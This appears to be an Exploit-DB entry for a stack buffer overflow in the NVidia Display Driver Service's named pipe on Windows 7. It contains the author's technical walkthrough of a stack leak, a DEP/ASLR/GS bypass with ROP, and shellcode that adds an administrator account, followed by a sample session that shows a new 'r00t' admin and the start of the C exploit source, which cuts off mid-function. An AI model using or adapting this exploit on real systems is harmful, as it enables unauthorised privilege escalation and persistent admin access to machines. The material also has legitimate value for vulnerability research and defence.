Exploit-DB #24207
Description: Nvidia Display Driver Service (Nsvr) - Local Buffer Overflow
Type: local
Platform: windows
Date: 2013-01-18
Author: Jon Bailey

Exploit:
/*

NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
- Bypass DEP + ASLR + /GS + CoE
=============================================================
(@peterwintrsmith)

 ** Initial release 25/12/12
 ** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks
      @seanderegge!

Hey all!

Here is an interesting exploit for a stack buffer overflow in the NVidia
Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
which has a NULL DACL configured, which should mean that any logged on user
or remote user in a domain context (Windows firewall/file sharing
permitting) should be able to exploit this vulnerability.

The buffer overflow occurs as a result of a bad memmove operation, with the
stack layout effectively looking like this:

[locals]
[received-data]
[response-buf]
[stack cookie]
[return address]
[arg space]
[etc]

The memmove copies data from the received-data buffer into the response-buf
buffer, unchecked. It is possible to control the offset from which the copy
starts in the received-data buffer by embedding a variable length string -
which forms part of the protocol message being crafted - as well as the
number of bytes copied into the response buffer.

The amount of data sent back over the named pipe is related to the number
of bytes copied rather than the maximum number of bytes that the buffer is
able to safely contain, so it is possible to leak stack data by copying
from the end of the received-data buffer, through the response-buf buffer
(which is zeroed first time round, and second time round contains whatever
was in it beforehand), right to the end of the stack frame (including stack
cookie and return address).

As the entire block of data copied is sent back, the stack cookie and
nvvsvc.exe base can be determined using the aforementioned process. The
stack is then trashed, but the function servicing pipe messages won't
return until the final message has been received, so it doesn't matter too
much.

It is then possible to exploit the bug by sending two further packets of
data: One containing the leaked stack cookie and a ROP chain dynamically
generated using offsets from the leaked nvvsvc.exe base (which simply fills
the response-buf buffer when this data is echoed back) and a second packet
which contains enough data to trigger an overwrite if data is copied from
the start of the received-data buffer into the response-buf (including the
data we primed the latter to contain - stack cookie and ROP chain).

Allowing the function to then return leads to execution of our ROP chain,
and our strategically placed Metasploit net user /add shellcode! We get
continuation of execution for free because the process spins up a thread
to handle each new connection, and there are no deadlocks etc.

I've included two ROP chains, one which works against the nvvsvc.exe
running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
from the Dell site, and one which works against the latest version of the
drivers for the same card, from:
http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
http://www.geforce.co.uk/drivers/results/54709

Hope you find this interesting - it's a fun bug to play with!

- Sample Session - 


C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Peter
The command completed successfully.


C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
  ** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
                 [@peterwintrsmith]
 - Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -

        Action 1 of 9:  - CONNECT

        Action 2 of 9:  - CLIENT => SERVER
                Written 16416 (0x4020) characters to pipe

        Action 3 of 9:   - SERVER => CLIENT
                Read 16504 (0x4078) characters from pipe

        Action 4 of 9: Building exploit ...
                 => Stack cookie 0xe2e2893340d4:
                 => nvvsvc.exe base 0x13fb90000:

        Action 5 of 9:  - CLIENT => SERVER
                Written 16416 (0x4020) characters to pipe

        Action 6 of 9:   - SERVER => CLIENT
                Read 16384 (0x4000) characters from pipe

        Action 7 of 9:  - CLIENT => SERVER
                Written 16416 (0x4020) characters to pipe

        Action 8 of 9:   - SERVER => CLIENT
                Read 16896 (0x4200) characters from pipe

        Action 9 of 9:  - DISCONNECT

C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Peter
r00t
The command completed successfully.


C:\Users\Peter\Desktop\NVDelMe1>

*/

#include <stdio.h>
#include <Windows.h>

enum EProtocolAction
{
	ProtocolAction_Connect = 0,
	ProtocolAction_Receive,
	ProtocolAction_Send,
	ProtocolAction_Disconnect,
	ProtocolAction_ReadCookie,
};

typedef struct {
	EProtocolAction Action;
	PBYTE Buf;
	DWORD Length;
} ProtocolMessage;

const int GENERIC_BUF_LENGTH = 0x10000;

#define WriteByte(val)	{buf[offs] = val; offs += 1;}
#define WriteWord(val)	{*(WORD *)(buf + offs) = val; offs += 2;}
#define WriteDword(val)	{*(DWORD *)(buf + offs) = val; offs += 4;}
#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
#define BufRemaining()	(sizeof(buf) - offs)

DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
{
	DWORD dwWritten = 0;
	
	if(WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
		return dwWritten;
	
	return 0;
}

DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWO